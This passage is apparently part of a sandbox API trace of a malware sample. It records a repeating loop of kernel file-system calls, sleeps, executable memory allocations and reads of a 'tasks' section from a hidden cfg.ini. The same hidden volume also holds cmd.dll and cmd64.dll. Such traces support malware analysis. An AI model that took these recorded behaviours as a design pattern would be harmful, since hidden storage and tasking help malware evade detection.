FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.953] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347a000 [0117.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.953] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.953] IdePortDispatch () returned 0x103 [0117.954] KeWaitForMutexObject () returned 0x0 [0117.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.954] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.954] IdePortDispatch () returned 0x103 [0117.954] KeWaitForMutexObject () returned 0x0 [0117.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.954] KeLeaveCriticalRegion () [0117.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.955] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.955] KeEnterCriticalRegion () [0117.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] KeLeaveCriticalRegion () [0117.955] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.955] KeEnterCriticalRegion () [0117.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.955] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] KeLeaveCriticalRegion () [0117.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.955] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.955] KeEnterCriticalRegion () [0117.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] ExFreePoolWithTag (P=0xfffffa8003afaf60, Tag=0x0) [0117.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.955] KeLeaveCriticalRegion () [0117.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.956] ReleaseMutex (hMutex=0xf0) returned 1 [0117.956] Sleep (dwMilliseconds=0x927c0) [0117.970] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.975] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.975] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.975] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.975] KeEnterCriticalRegion () [0117.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.975] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.975] IdePortDispatch () returned 0x103 [0117.976] KeWaitForMutexObject () returned 0x0 [0117.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.976] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.976] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.976] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.976] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.976] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6120 [0117.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.976] KeLeaveCriticalRegion () [0117.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.976] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.976] KeEnterCriticalRegion () [0117.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.976] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.976] KeLeaveCriticalRegion () [0117.976] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.976] KeEnterCriticalRegion () [0117.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.976] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.976] IdePortDispatch () returned 0x103 [0117.977] KeWaitForMutexObject () returned 0x0 [0117.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.977] KeLeaveCriticalRegion () [0117.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.977] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.977] KeEnterCriticalRegion () [0117.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.977] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347f000 [0117.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.977] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.977] IdePortDispatch () returned 0x103 [0117.977] KeWaitForMutexObject () returned 0x0 [0117.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.977] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.977] IdePortDispatch () returned 0x103 [0117.978] KeWaitForMutexObject () returned 0x0 [0117.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.978] KeLeaveCriticalRegion () [0117.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.978] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.979] KeEnterCriticalRegion () [0117.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] KeLeaveCriticalRegion () [0117.979] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.979] KeEnterCriticalRegion () [0117.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.979] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] KeLeaveCriticalRegion () [0117.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.979] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.979] KeEnterCriticalRegion () [0117.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] ExFreePoolWithTag (P=0xfffffa8003aa6120, Tag=0x0) [0117.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.979] KeLeaveCriticalRegion () [0117.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.979] ReleaseMutex (hMutex=0xf0) returned 1 [0117.979] Sleep (dwMilliseconds=0x927c0) [0117.998] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.998] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.998] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.998] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.998] KeEnterCriticalRegion () [0117.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.998] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.998] IdePortDispatch () returned 0x103 [0117.998] KeWaitForMutexObject () returned 0x0 [0117.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.999] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.999] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.999] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.999] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.999] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0117.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.999] KeLeaveCriticalRegion () [0117.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.999] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.999] KeEnterCriticalRegion () [0117.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.999] KeLeaveCriticalRegion () [0117.999] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.999] KeEnterCriticalRegion () [0117.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.999] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.999] IdePortDispatch () returned 0x103 [0117.999] KeWaitForMutexObject () returned 0x0 [0117.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.000] KeLeaveCriticalRegion () [0118.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.000] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.000] KeEnterCriticalRegion () [0118.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0118.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.000] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.000] IdePortDispatch () returned 0x103 [0118.000] KeWaitForMutexObject () returned 0x0 [0118.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.000] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.000] IdePortDispatch () returned 0x103 [0118.001] KeWaitForMutexObject () returned 0x0 [0118.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.001] KeLeaveCriticalRegion () [0118.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.001] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.001] KeEnterCriticalRegion () [0118.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] KeLeaveCriticalRegion () [0118.002] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.002] KeEnterCriticalRegion () [0118.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.002] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b28350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] KeLeaveCriticalRegion () [0118.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.002] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.002] KeEnterCriticalRegion () [0118.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0118.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] KeLeaveCriticalRegion () [0118.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.002] ReleaseMutex (hMutex=0xf0) returned 1 [0118.002] Sleep (dwMilliseconds=0x927c0) [0118.021] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.021] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.021] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.021] KeEnterCriticalRegion () [0118.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.022] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.022] IdePortDispatch () returned 0x103 [0118.022] KeWaitForMutexObject () returned 0x0 [0118.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.022] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.022] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.022] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.022] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6170 [0118.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.022] KeLeaveCriticalRegion () [0118.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.022] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.022] KeEnterCriticalRegion () [0118.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.022] KeLeaveCriticalRegion () [0118.022] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.022] KeEnterCriticalRegion () [0118.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.022] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.023] IdePortDispatch () returned 0x103 [0118.023] KeWaitForMutexObject () returned 0x0 [0118.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.023] KeLeaveCriticalRegion () [0118.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.023] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.023] KeEnterCriticalRegion () [0118.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348a000 [0118.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.023] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.023] IdePortDispatch () returned 0x103 [0118.024] KeWaitForMutexObject () returned 0x0 [0118.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.024] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.024] IdePortDispatch () returned 0x103 [0118.024] KeWaitForMutexObject () returned 0x0 [0118.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.024] KeLeaveCriticalRegion () [0118.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.025] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.025] KeEnterCriticalRegion () [0118.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.025] FsRtlProcessFileLock 